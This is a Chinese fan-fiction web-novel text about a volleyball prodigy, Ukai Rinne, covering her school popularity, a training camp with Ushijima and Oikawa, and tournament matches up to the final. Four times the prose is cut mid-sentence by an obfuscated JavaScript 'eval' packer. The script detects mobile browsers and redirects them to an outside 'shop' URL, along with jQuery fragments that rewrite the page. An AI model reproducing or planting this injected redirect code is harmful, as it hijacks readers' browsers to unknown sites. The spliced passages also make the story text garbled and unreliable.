“而且CS1.6还引入了饰品系统，原本都没什么人玩，现在人多起来了。”凛音还挺喜欢越来越热闹的游戏社区。 “掉落的饰品还能在社区市场交易呢。”黑川凪补充道。 “是啊，不过我们只是个普通玩家，喜欢哪个买来用就好啦。”凛音轻描淡写地说道。她很清楚这个市场击鼓传花的把戏，但目前也只是打算用自己的零花钱买几套喜欢的换着玩。 看到凛音注意力被成功转移，凪放心了，不再提起春假合宿的事情。其实她对合宿也很期待，她还从来没有和凛音在一起待过那么长时间呢。不过她不会像凛音那样，兴奋过头，以至于脑子里一直想着这件事。 到了四年级，女孩子们即将进入快速生长期，心理上也逐渐开窍。于是，在一年级开学时被大家用异样眼神看待的乌养凛音，如今成了学校里最受女孩子欢迎的人。 乌养凛音长得很好看。用她妈妈的话来说，家族好几代都有意寻找外貌出色的伴侣改善基因，当然会好看。但她的美不是阴柔的美，而更偏向中性，配上一头她专门找知名理发师修剪的利落短发，整个人显得英姿飒爽。她自信骄傲又阳光开朗，个子高挑，身材纤细却能看出经常锻炼的流畅线条。她是学校里公认的排球第一人，对待同学，尤其是女同学，十分温柔，说话时总是带着笑意，时不时露出可爱的小酒窝，把她们迷得不行。 但乌养凛音也绝不是假小子类型，任谁都能看出她是个女孩子。因此，学校里的男孩子们对她的感情比较复杂。一部分人喜欢这样的帅姐姐类型，一部分人觉得乌养凛音“没有女人味”（简直是见了鬼，才四年级！）。不过他们大都佩服她在女生中的超高人气，所以也都愿意亲近她。 乌养凛音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808516|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己对这种现象没什么实感。她只是奇怪，为什么每次她和班上的女生说话，对方老是脸红，还经常说一半人就跑了。她一度以为自己被讨厌了，虽然不那么在意，但还是有一点点伤心。 那天课间，凛音正坐在座位上查看训练笔记，教室门口突然传来一阵小小的骚动。 一位六年级的学姐站在门口，她手里紧紧握着一个小巧的猫咪玩偶，脸颊绯红，眼神却异常坚定。在众人的注视下，她深吸一口气，大步走到凛音面前。 “乌养同学！” 这一声中气十足的呼喊让整个教室都安静下来。凛音惊讶地抬起头，对上学姐灼热的目光。 “这个送给你！”学姐将手中的猫咪玩偶塞进凛音手里。那是一只白色的猫咪，表情酷酷的，脖子上系着一个小小的排球挂饰。 “我很早就开始在球场上看你打球了，你的好多精彩表现我都记得！” 学姐的声音因为激动而微微发抖，但每一个字都说得清晰有力： “我喜欢你打球时专注的眼神，喜欢你扣球时毫不留情的气势，更喜欢你在场上带领全队的样子！乌养凛音同学，我真的很喜欢你！” 整个教室陷入了一片寂静，随即爆发出阵阵惊呼。 凛音完全愣住了，手里捧着那个还带着学姐体温的玩偶，一时不知该作何反应。 就在这时，班上的女生们也纷纷围了上来： “乌养同学，其实我也超级喜欢你的！” “每次看到你在球场上奔跑的样子，都觉得特别帅气！” 此起彼伏的告白声在教室里回荡，每个女生的脸上都带着真诚的崇拜和喜爱。 那位六年级的学姐在众人的喧闹中，最后深深看了凛音一眼，大声说道： “请一定要成为日本第一的主攻手！我会一直看着你的！” 说完这句话，她转身快步离开了教室，留下还在震惊中的凛音和一群兴奋的同学。 后面的事情凛音几乎记不清了。无数画面涌入她的眼睛，然后又从脑子里飘了出去。她不知道人群是怎么散的，不知道自己当时在干什么，也不知道是怎么回到座位上的。等她回过神来，已经快要放学了。 “没事吧，凛音？你今天一整天都魂不守舍的。”凪把手放在凛音眼前晃了晃。 “你要是遇到这样的情况，也会吓一跳的。”凛音有气无力地说。 “嘿嘿，你知道‘拉拉’吗？”黑川凪见凛音没什么大事的样子，打算逗逗她。 “！！！我知道……你什么意思？！”凛音被吓坏了，难不成她被拉拉包围了？ 看到凛音的表情，黑川凪知道自己逗到她了，开心地解释：“哈哈，她们不是拉拉，只是单纯地很喜欢你而已。” “真的吗？”凛音心有余悸地再次确认。 “是真的啦。” 天呐，樱花妹对帅姐姐的喜欢方式，真是太吓人了。凛音在心里默默想道。 6. 第一天集训 这次大规模表白事件后，乌养凛音才后知后觉地发现，原来自己在学校里这么受欢迎。哎呀，嘴角怎么有点压不住了呢~ 连牛岛若利都听说了这事，放学时特意问她：“怎么那么多人喜欢你？喜欢你什么？” 幸好乌养凛音早就习惯了他这种说话方式，不然高低得揍他一顿。 “哼哼，我就是这么有魅力的美少女啊！你难道不喜欢我吗？”凛音对着牛岛若利亮出了招牌的可怜蛋花眼。 “……喜欢。”牛岛若利思考了一小下，老实回答。 “什么？！我两岁就和你一起玩了，你居然还要犹豫！” “我没有犹豫，”若利果断否认，“我只是在想什么是喜欢。” “哦？那你想明白了吗？”凛音很好奇，盯——。 “明白了。我喜欢和你一起练球，喜欢和你聊天，喜欢和你玩。”牛岛若利坦诚地说出了自己对凛音的喜爱之情。 “呜呜呜呜呜呜……我太感动了，我也喜欢你，若利。”凛音被自家幼驯染的直球告白打动，又露出了蛋花眼，也表达了自己的喜爱之情。 当然，他们两个谁都没往恋爱那方面想。 “说到练球，快回家和我一起练球去。”显然，排球的吸引力更大些…… “你的眼睛怎么红了？” “我没有，你看错了。”凛音坚决否认，她才不会承认自己刚才差点感动哭了呢。 “我没有看错，你的眼睛确实红了。”他从包里掏出水壶，“需要用水冲洗一下吗？” “反正你别管那么多！” “哦，那好吧。” 过了一会，牛岛若利再偷偷看凛音，发现她的眼睛已经恢复正常了。果然不需要我管，他这么想着。 这学期凛音过得很充实，主要充实在排球上，学习是一个字没看。快到期末考核的时候，她倒是一点不担心，她上辈子考的是新高考一卷，语文常年110+，数学140+，英语140+，物理85+，化学生物90+，还会担心区区小学考试？ 你别说，还真要担心一下。因为她社会课一点没学，地理更是完全不懂。于是她乖乖去找牛岛若利补习，让他帮忙画画考试范围和重点，打算临时抱佛脚死记硬背一下。 相比之下，黑川凪的情况要糟糕得多。凛音好歹有上辈子卷出来的底子和大学速成的经历，才敢这么放肆。黑川凪那是真的一点都没学。 当黑川凪疑惑地问凛音，她在学校不学习，回家还要练那么久的球，晚上还要打CS，到底是哪来的时间学习时，凛音只好心虚地说自己其实在假期里已经提前学了一遍…… 于是牛岛若利的补课任务又加重了，还得帮黑川凪补课。这学期最后一个周末，凛音和黑川凪去了牛岛若利家补课，两人是笑着进去的，出来的时候都快哭了。凛音情况还好，有了考试范围对她来说就不是问题，她只是不想花时间在这上面。 虽然凛音算数和理科都很好，但她这次并没有教黑川凪，她太有自知之明了，去年失败的“教学”经历还历历在目。在她看来一目了然的题目，在凪那里却需要绕好几个弯，她实在缺乏把复杂问题讲简单的耐心和能力。所以，这种烦神的事还是交给牛岛若利吧，麻烦他，凛音一点都不会觉得不好意思。 最后的期末成绩，牛岛若利自然是高分通过。凛音除了国语和社会课外，其他都是满分。只有黑川凪过得比较艰难。 唉，到了初高中可怎么办啊……凛音忍不住担心起黑川凪的未来。该不会未来国家队级别的二传手，最后因为学业问题打不了排球吧？ 不过，在即将到来的集训这件大事面前，这点小小的担忧完全无法影响凛音兴奋的心情。 女排和男排的住宿安排在一起，但训练在不同的体育馆。人数不算多，女排那边，五、六年级加起来十二个人，刚好满足报名要求。四年级只有三个人，乌养凛音、黑川凪，还有鸟海玲奈。 凛音很快就和鸟海玲奈熟悉起来。而凪对谁都是一副冷冰冰的样子，和鸟海的话不多。 虽说只有五、六年级才能上场比赛，但三个四年级生其实很受重视。因为这个年纪能被选上的，几乎就是下一届比赛的主力。 乌养凛音擅长进攻、一传、发球和拦网，比较全能，但速度相对差一些，教练给她的位置是大主攻；黑川凪擅长二传、战术和拦网，肯定是二传；鸟海玲奈擅长接球，速度很快，可惜个子比较矮，要是初中比赛肯定会是自由人，不过小学比赛没有自由人这个位置，她就担任防守专员。 第一天训练，乌养凛音的进攻力量和她练了多年的直线球、小斜线球、大斜线球、吊球和超手扣球，直接把同队的小学生们打懵了，场上不时响起下意识的惊叹。教练看得心情复杂，凛音在技巧掌握上已经足够媲美国中学生了，只是缺乏一些实战经验。于是教练第一天就给她们安排了内部练习赛，赛后带着大家复盘，指出问题。所有人都觉得收获很大。 第一天训练开了个好头。晚上回到酒店吃晚饭，今天的训练就算结束了。 集训选的酒店很不错，房间舒适，饭菜也好吃，这得多谢家长们的赞助。 乌养凛音熟练地带着黑川凪去找牛岛若利一起吃饭，想了想，把同为四年级的鸟海玲奈也带上了，毕竟她在这次集训里没有认识的人。 结果就很尴尬了。一桌子四个人生动地上演了“我附庸的附庸不是我的附庸”朋友版：三个人都和凛音是朋友，但彼此之间都不太说话。黑川凪本来就是这种性格，牛岛若利更是座冰山，他们因为凛音相识多年也没什么用，除了凛音的事和补课的事外，基本零交流。鸟海玲奈就更别想和他俩搭上话了。 乌养凛音一边吃饭，一边努力和每个人聊天，生怕让谁觉得自己被冷落了。一顿饭吃下来，比打两小时排球还累，要知道凛音现在的体力已经相当好了。 回到房间就好多了。两个人一间，她当然是和黑川凪一间。 “唉，凪，你是不喜欢鸟海吗？怎么都不和她说话？”凛音和黑川凪早已是无话不谈、绝对信任的关系，这种问题可以随便问。 “也没有讨厌，其实我还挺喜欢她的，就是不熟，不想说话罢了。”黑川凪实话实说。 “哎，也是，你一直都这样。我还以为你是不喜欢她呢。所以你也喜欢若利？” “哦，那没有，我不喜欢他。”因为你和他关系太好了——这句话黑川凪没有说出口。 “诶？为什么啊？”凛音好奇地问。 “他和冰山似的，看着还很凶。” “……”你居然也能吐槽别人是冰山了…… 黑川凪觉得自己这辈子所有的主动都用在了乌养凛音身上，以至于她对和别人说话根本提不起兴趣。只要能和凛音交流就够了。 “凪，我和她交流的时候，你稍微说几句话好不好？以后应该还要和她做队友，要想配合好，还是需要交流的。” “嗯，没问题。” “我们凪真是个好孩子啊。那鸟海就交给你了，中午我和你们一起吃，晚上我就和牛岛若利一起吃吧。” “……？”她还不想和鸟海独处啊…… 凛音说完就跑到牛岛若利的房间门口敲门。开门的是他的室友，凛音不认识这个人，但长得挺帅，让她忍不住多看了两眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808517|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——不过她没啥特别感觉，她对颜值一向不太敏感。 “有什么事吗？”对方开门后问道，脸上挂着恰到好处的礼貌微笑。 “我来找牛岛若利，可以帮我喊他出来吗？” “哦~他刚去洗澡呢，你可能要等一会儿哦。”他侧身让出空间，语气轻快，带着点自然的熟稔，“要进来等吗？” 凛音一点也不客气，直接回了句“好啊”，就大大方方地走了进去。 “……”那个男生显然没料到这个看起来漂亮又帅气的女生会这么不拘小节，他微微挑眉，眼底迅速掠过一丝讶异，随即被一种找到有趣事物的、带着研判意味的兴味所取代。 “你好呀，我叫及川彻。”他自我介绍时，尾音微微上扬，带着他特有的、既亲切又保持着微妙距离感的语调。 “哦，我叫乌养凛音，是牛岛若利的青梅竹马。”说着，她在牛岛若利的包里翻找起来，果然找到一盒巧克力。 凛音笑了起来，只有她喜欢吃巧克力，这盒是为谁准备的根本不用猜~ 她自己包里也放了一盒，但东西嘛，总是抢别人的更香。她拆开包装，像是这个房间的主人一样，反客为主地递了一块给及川彻。 “吃巧克力吗？这种挺好吃的，不是那么甜，也不苦。” 及川彻从善如流地接过，笑容加深了些，这份超出他社交预期的直接，显然比预想的更有趣。“嗨~阿里嘎多~”他用的语气词，带着他那种特有的、略显夸张的亲昵。 凛音递给他一块，自己也拿了一块吃起来。大概吃到第四块的时候，牛岛若利顶着湿漉漉的头发从浴室出来了。看到凛音，他并没有很惊讶。 “你怎么来了？晚上吃巧克力对牙齿不好。” “诶？我不能来找你嘛……”凛音故意在外人面前逗他，装作误解的样子，露出蛋花眼。 “没有，你可以随时来找我。”牛岛若利早就被逗习惯了，他知道凛音没有真的不开心，但还是认真地解释。 “哈哈哈，不逗你玩了。我就是来看看你，顺便告诉你，以后中午不要来找我吃饭了，晚上我去找你一起吃饭。” “嗯，好。” “巧克力我带走了哦，我就带了一盒，今天已经吃完了。” “晚上不要吃巧克力，放在我这里，明天我会给你的。晚上要认真刷牙。” “啊？”凛音露出可怜的蛋花眼，无声地看着牛岛若利。 “你不要这样看着我，好恶心。”牛岛若利不为所动，甚至觉得有点奇怪，于是坦率地表达了自己的感受。 “……”凛音没想到自己有一天会被牛岛若利的话给噎住。 “晚安，那我走了。”凛音装出一副失魂落魄的样子告别。 “晚安。” “再见，及川同学。”凛音没忘了和及川彻打个招呼。 “再见，乌养同学。”及川彻倚在门边，笑着挥手道别。门关上后，他脸上玩味的笑容并未立刻散去。这个叫乌养凛音的女生，和他之前遇到的人似乎都不太一样。她那种在牛岛面前毫不掩饰的熟稔和自然，以及面对他时那份不掺杂质、纯粹出于分享的坦然，都让他觉得……很有意思。这份有趣，甚至暂时冲淡了得知她是“那个牛岛”的青梅竹马所带来的微妙竞争感。 回到自己房间后，凛音洗澡刷牙，和凪一起把两张床拼在一起，然后上床准备睡觉。 不过睡觉是不可能老实睡的。她和黑川凪兴奋地躺在床上聊天，这还是她第一次和黑川凪在外面一起过夜呢。 聊着聊着，凛音就睡着了。听着身边人平稳的呼吸声，黑川凪也安心地进入了梦乡。 7. 马上到来的全国大赛 看着凛音失魂落魄地走了以后，及川彻问牛岛若利：“乌养同学就这么伤心地走了，你不去关心关心？” “没事，她装的。”牛岛若利平静地回答。相处这么多年，他早就能分辨出她什么时候是真难过，什么时候只是在逗他玩。 “……” 第二天早上，牛岛若利遵守承诺，把巧克力给了凛音，并叮嘱她少吃一点，最好两天吃一盒。 今天的训练依旧是上午针对个人短板进行特训，下午打练习赛，赛后复盘。每一天都过得充实而高效。 晚饭时，凛音如约去找牛岛若利，却意外地发现及川彻也在。 凛音用眼神询问牛岛若利：他怎么也在？ “他非要跟着我。”牛岛若利实话实说。 及川彻脸部抽搐了一下，爆出几根青筋，双手紧紧握拳，在心里默念：不要生气，不要生气…… “……”凛音一时都不知道该怎么解释，“不要太在意，他脑子有问题。” “我……”牛岛若利想说自己脑子很正常。 可惜凛音知道他想说什么，无情制止：“好了，你不要再说了，你就是脑子有问题。” “抱歉呢，这里我和别人都不认识，”及川彻脸上挂着无可挑剔的礼貌微笑，语气却微妙地拖长了，“只和牛岛同学比较熟悉，所以就跟了过来。没想到这么不受欢迎呢~” “我没有不愿意。”牛岛若利不知道他怎么看出来的，但他确实没有不愿意。 “……”及川彻一时间也被噎住了。 “好了好了，”凛音打圆场，“以后我们一起吃晚饭吧。” 饭桌上，及川彻和乌养凛音聊了起来，牛岛若利则安静地吃饭。 “乌养同学的乌养是那个乌野的乌养教练的乌养吗？” “是啊，他是我的爷爷。” “那乌养同学今年是五年级吗？” “不是，四年级。” 及川彻有些惊讶，四年级就能入选县代表队，看来实力不俗。他又问道：“乌养同学什么时候开始打排球的呢？” “嘿嘿，我从五个月就开始抱着排球了，一直到现在，我没有一天离开过排球。及川同学喜欢排球吗？” “很喜欢哦，排球对我来说非常重要。”提到排球，及川的语气都温柔了一些。 “我也很爱排球，你喜欢排球我就会喜欢你哦。”凛音再次说出这句话。 及川彻有些惊讶的看了凛音一眼。 这顿晚饭吃的挺愉快的，此时的及川彻还没有被后来屡战屡败的阴影笼罩，还算能友好相处。 吃完饭凛音回到自己的房间，黑川凪已经回来了。 “你晚上和鸟海怎么样？”凛音关心地问到。 “还行吧，也能说上话。” “那就好。”凛音松了口气。 两人洗漱好往床上一躺，可是这个时候离睡觉时间还很早呢。 “要是能带电脑就好了，想玩cs了。”凛音觉得有点无聊。 “是啊。” “对了，我带了一盒UNO，你想玩吗？” “好啊，要不要再找两个人。”黑川凪一起和凛音一起玩过，是会玩的。 “去问问鸟海同学。” 于是两个人又跑到鸟海房间敲门。鸟海玲奈和一位五年级的学姐在一个房间，凛音干脆直接邀请了她们两个人。UNO在日本也算是流行，很多年轻人都会玩，鸟海和学姐也会，于是欣然同意。 四个人在地上坐了一圈，打UNO。 最后，黑川凪打得最好。 “玩战术的心都脏啊。”凛音在被黑川凪骗过后不禁感慨到。 回到自己房间后，黑川凪还是冷冰冰的，嘴角却翘了起来，用得意的眼神看着凛音。 看到黑川凪这样子，凛音就知道是想让她夸一夸了，于是凛音毫不吝啬赞美之词，夸奖黑川凪聪明啊，把所有人玩弄于股掌之间啊这些。 黑川凪听了以后很开心，久违地露出了笑容，像一只翘着尾巴的小猫。 “晚安，凪。” “晚安，凛音。” 十几个小学生在这几周的训练中逐渐熟络起来，对彼此的技术特点和性格都有了更深的了解，配合也愈发默契。其中，凛音虽然是四年级生，却展现了绝对的统治力，大家都对她的实力心悦诚服。 凛音本人也收获良多。她上辈子打排球时间太紧，很多进攻方式都有瑕疵却无暇修正。这次集训，经验丰富的教练一针见血地指出了这些问题，让她有了明确的改进方向。 而她与黑川凪之间的配合更是有了质的飞跃。凛音越来越觉得，她这辈子最幸运的不是天生神力，也不是出众的身高，而是小小年纪就遇到了最适合自己的二传手。 这次集训圆满结束，还留了一周时间给大家写假期作业。开学后的地区预选赛就和凛音没什么关系了，她们要等到明年才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808518|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参赛。 牛岛若利倒是能参加这届的比赛，还有下一届。 最终，男排和女排都从地区预选赛中出线，前往东京参加决赛。男排止步四强，女排止步八强。 牛岛若利回来后什么也没多说，只是默默加大了自己的训练量。凛音问起，他也只是说全国大赛的对手很厉害，交手很有意义，下次一定会赢。 这让凛音对全国大赛升起了浓厚的期待。看到牛岛若利受挫后更加专注的样子，她更加确信，温室里养不出最坚韧的花朵。她现在非常渴望能找到势均力敌的对手，她需要一场真正的战斗来检验自己。 如果在日本找不到可以匹敌的女攻手，就去男排练练吧。凛音这样想着，她相信国际上一定存在她这种身体条件的女攻手。 当不在意时间的时候，时间就过得飞快。乌养凛音每天上课、课后练球、晚上打游戏，时不时参加学校活动，放假了要么练球，要么和牛岛若利或者黑川凪一起玩，感觉日子一眨眼就过去了。 牛岛若利在学习和练球之余喜欢拼拼图，据他本人所说，这种将无序变为有序的过程能让他内心安宁，锻炼耐心和专注力。 黑川凪则更喜欢摄影，她会记录自己和凛音的日常，也会拍下所有她觉得美好的事物，一片形状特别的树叶，一块可爱的橡皮，一个洒满夕阳的排球场…… 凛音一直保持着画画的爱好，她喜欢用画笔将喜欢的人、事物和风景永远留在纸上，也留在记忆里。 这三个人的爱好都属于安静独处的类型，而当他们聚在一起时，最常做的集体活动就是看排球比赛。他们会轮流点评队伍的优缺点，最先说不出来的人要请客。这个活动让三人都很满意。 总之，充实而快乐的一年转瞬即逝，她们又要为新一届的比赛进行合宿集训了。 这是乌养凛音这辈子第一次参加全国级别的大型排球比赛，想到这里，她偶尔会看着体育馆里“全国大赛”的横幅出神。 晚上回到房间，凛音轻声对凪说：“这是我第一次参加这种大型比赛呢，感觉有点紧张……我一直以为只要能和强者交手就很开心了，但我发现，当‘全国大赛’这几个字真的压在肩上时，那种想赢的欲望比想象中强烈一百倍。” 凪奇怪地看了她一眼，随即笑了起来：“打比赛不就是要赢嘛，输了谁会开心？” “哈哈，你说的没错。大赛加油噢，凪！我们的初次亮相，一定要让大家大吃一惊。” 8. 进入决赛 五六年级的东北赛区预选赛就在仙台举行，这里成了乌养凛音个人能力的展示舞台。 首战对阵青森县，第一个回合就定下了基调。对方一传到位，二传组织了一次漂亮的快攻，球直扑宫城县的后场空当。就在观众以为要失分时，凛音一个鱼跃，双臂一垫，球稳稳地传向了二传位置。 “一传完美！” 黑川凪毫不浪费这个机会，一记精准的背传，球高高升起。网前，凛音已经爬起来摆好了助跑姿势。 “拦网！”青森县的队长大喊。两名拦网队员急忙起跳。 然而凛音并没有全力起跳，她的弹跳高度确实不算出众，但她选择了一个完全不同的时机。在拦网手达到最高点开始下落的瞬间，她才悠然跃起，手臂如鞭子般甩出。 “砰！” 一记干净利落的超手扣球。 球从正在下落的拦网手指尖上方呼啸而过，重重砸在底线附近。 “太强了吧。”对方教练看得目瞪口呆，“完全利用了自己的击球高度和时机把握能力。” 轮到凛音发球时，压迫感更甚。她站在底线后，简单拍了两下球，眼神锐利地扫过对方场地。抛球、助跑、起跳、挥臂。 “嗖！” 球带着轻微的飘移轨迹，直扑对方一传的空当。接球队员勉强将球垫起，却直接飞向了场外。 “发球直接得分！” 整场比赛，凛音就像一座无法逾越的高山。她的拦网判断精准得可怕，多次单人拦死对方的进攻；防守时，她总能出现在最需要的位置，用稳健的一传为反击奠定基础；进攻端更是无所不能，直线、斜线、打手出界、轻吊。 25：8，25：11，比赛在一边倒的局势中结束。 “简直不是一个级别的选手。”赛后，青森县的队长苦笑着摇头。 接下来的几场比赛更是成了凛音的进攻教学课。对阵秋田县时，她展示了如何处理各种困难球；对阵岩手县时，对方的球员个子比较矮，她极具力量的超手扣球让对手丢了好多分。 可惜这是出线选拔，没有决赛，最后选出了福岛县代表队和宫城县代表队。 “全国大赛，我们来了！”小学生们兴奋地大喊大叫。 五天后他们将去东京参加淘汰赛。 “凪，表现得很不错嘛。”赛后凛音开始夸赞自己的搭档。 “凛音打得也很好嘛，对手完全拿你没办法呢。”凪听了凛音的夸奖很是骄傲，但也没有忘记夸一夸凛音。 “嘿嘿，我可是练了十年啊。”从一岁开始算起确实有十年了…… “你今年才十一吧……”凪有点无语。 男排那边也出线了，牛岛若利也要去东京比赛，而且男排女排的比赛是错开的，他们能看到彼此的比赛。 在去东京的车上，凛音一面有些紧张，一面有些期待，地区预选赛就已经有队伍让她眼前一亮了，淘汰赛肯定还能遇到更多强者。 到场地热了热身，众人站上了赛场。 凛音一眼就看到她的爸爸妈妈，就坐在前排，旁边还有黑川凪的爸爸妈妈和她的哥哥姐姐，都在为她们加油呢，凛音冲他们笑了笑。 然后她就看见她爸举着相机精准把这个笑容拍了下来，凛音无语，收回笑容，不再看他们。 首轮对阵的是爱知县，对方显然研究了宫城县的比赛录像，制定了针对性的战术，全力攻击其他位置，利用凛音横向移动速度不快的缺陷，避开了凛音的拦网。 这个战术在开局确实奏效。鸟海玲奈虽然防守出色，但对方的主攻手力量很大，几个重扣都突破了防线。 “13：16，宫城县落后。” “没关系，下一球打好。”凛音拍拍手鼓舞士气。 轮到宫城县发球，凛音站上了发球区。她深吸一口气，目光锁定对方一传较弱的队员。 “嗖——” 一记精准的跳飘球直扑目标，对方队员勉强将球垫起，但一传质量很差。 “机会球！” 黑川凪迅速判断，直接将球传到四号位。 凛音早已准备就绪。面对双人拦网，她看似要强攻，却在击球瞬间手腕轻轻一抖，球划出一道诡异的弧线，打在拦网手外侧弹飞出界。 “打手出界！” “乌养！好球！”队友们都在欢呼。 这个关键分稳住了局势。接下来的比赛中，凛音开始展示什么叫“全能攻手”。当对方避开她的拦网时，她就用精准的卡位和防守帮助队伍；当一传不到位时，她能够调整攻势打出高质量的困难球；当队伍需要得分时，她的发球又成了打破僵局的利器。 25：23，25：20，宫城县有惊无险地拿下比赛。 “乌养太全面了，明明还是个小学生。”爱知县教练赛后感叹。 八强战对阵大阪队，凛音遇到了开赛以来最大的挑战。对方拥有两名身高出众的拦网手，专门针对她的进攻。 第一次强攻被双人拦网封堵回来时，凛音愣了一下，这是她很少有的体验。 “没关系，下一球。”黑川凪平静地说。 凛音点点头，眼神更加专注。下一个回合，她再次面对双人拦网，但在起跳瞬间突然改为轻吊，球轻轻越过拦网手，落在空当。 “好球！”解说员惊呼。 随着比赛进行，凛音不断变换进攻手法。时而重扣，时而轻吊，时而打手出界，让对方的拦网无所适从。更可怕的是，她在防守端的存在感同样惊人，多次防起看似必死的扣球。 25：21，26：24，宫城县再胜一场，挺进四强。 踏入东京体育馆的第四天，空气仿佛都凝固了。半决赛，对手是来自北海道的代表队。他们以强健的体魄和顽强的防守著称，如同他们家乡的冰雪，冷硬而坚韧。 热身时，凛音观察着对面的球员。平均身高比之前的对手都要高，眼神里带着北方选手特有的悍勇。 “凪，他们的拦网手，起跳很扎实。”凛音低声说。 “看到了。手臂力量也很足，硬碰硬可能会吃亏。”黑川凪冷静地分析，“先试试他们的移动和防守范围。” 两人简短地交换了意见。 比赛开始，北海道队果然给了宫城县一个下马威。他们的大主攻手力量很不错，一记重扣直接穿透了宫城县的三人拦网。 “咚！”球砸在地板上的声音沉闷而有力。 0：1。 轮到宫城县进攻。第一次，黑川凪依旧选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808519|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择将球传给四号位的凛音。北海道的双人拦网迅速形成，手墙厚实，封堵了大部分角度。凛音没有强行发力，手腕一抖，改为轻拍，球越过拦网手落在对方前排空当。然而，北海道队的自由人反应极快，一个侧扑将球救起，组织起了有效反击。 几个回合下来，宫城县虽然依靠个人能力得分，但打得很不顺畅。北海道的防守阵型如同密实的雪原，难以轻易撕裂。 “他们的防守范围很大，后排补位意识很好。”鸟海玲奈在一次死球间隙，擦着汗对凛音和凪说。 “嗯，而且拦网并得很快，斜线不好打。”凛音点头。 第一次技术暂停，宫城县罕见地以微弱比分落后。 “不要急，”教练沉声道，“他们的防守很好，但进攻手段相对单一。抓住防反机会，耐心一点。乌养，你的线路可以再丰富一些。黑川，多调动他们。” 暂停回来，乌养黑川组合开始了她们的“解题”过程。 下一球，当北海道的注意力再次被凛音吸引时，黑川凪手指微妙一动，球快速而平直地飞向了二号位！接应心领神会，快速起跳，扣球，这个快攻打了对方一个措手不及。 “好球！”得分后，接应兴奋地与凪击掌。 紧接着，轮到凛音发球。她没有选择力量最大的跳发，而是祭出了苦练的跳飘球。球在空中飘忽不定，轨迹难测，直接破坏了北海道的一传，导致他们进攻失误。 “发球得分！” 凛音的发球，开始成为打破僵局的利器。 随着比赛进行，黑川凪的传球愈发鬼神莫测。她时而给凛音传出高度恰到好处的空中网球，让凛音可以充分发挥超手进攻的优势；时而又突然加速，传给后排插上的攻手，利用速度撕开拦网；时而又用精准的背传，调动对方的防守阵型。 而凛音，则彻底展现了她的全面性。面对高大的拦网，她不再执着于斜线，直线扣杀、小斜线、打手出界运用得炉火纯青。当她发现对方拦网手习惯性防范她的重扣时，一次逼真的助跑起跳后的轻巧吊球，引得对方后排防守队员判断失误，望球兴叹。 “那个乌养凛音和黑川凪的配合太好了。”北海道的教练看着记分牌上逐渐被拉开的比分，苦笑着说。 宫城县队并没有打出什么惊天动地的超级逆转，他们只是像精密的手术刀一样，冷静地、耐心地，一刀一刀地解剖着对手的防线。每一次成功的防守，每一次有效的进攻，都建立在乌养凛音的绝对压迫力和黑川凪精准的调度之上，而其他攻手们也毫不犹豫地执行着战术，把握住属于自己的机会。 第二局中段，当凛音一次势大力沉的超手扣球直接砸在对方三米线内，将比分差距拉开到8分时，北海道队那股冰雪般的气势，终于出现了裂痕。他们的防守不再密不透风，反击也不再那么犀利。 最终，比赛没有进入第三局。 “比赛结束！25-23，25-21！胜利者，宫城县代表队！” 哨声响起，宫城县的队员们跳起来欢呼，脸上带着胜利的喜悦。 “好了，不要太过兴奋了，明天还有决赛呢。来，列队！”凛音见大家过于兴奋了，赶紧叫大家列队，顺带冷静冷静。 半场开香槟向来没有好下场的。 9. 拿下决赛 决赛的氛围与之前任何一场比赛都截然不同。东京体育馆主馆座无虚席，空气灼热得仿佛要燃烧起来。聚光灯下，网对面站着的是本届大赛最大的黑马，东京代表队，以及她们的核心，被称为“铁壁”的日英混血儿，小林莉亚。 热身时，凛音就感受到了那道专注而锐利的目光。小林莉亚的身高比她还要高一点，但眼睛里透出的冷静与洞察力，让凛音明白，这将是她迄今为止遇到的最难缠的对手。 “哔——！”哨声吹响，决战开始。 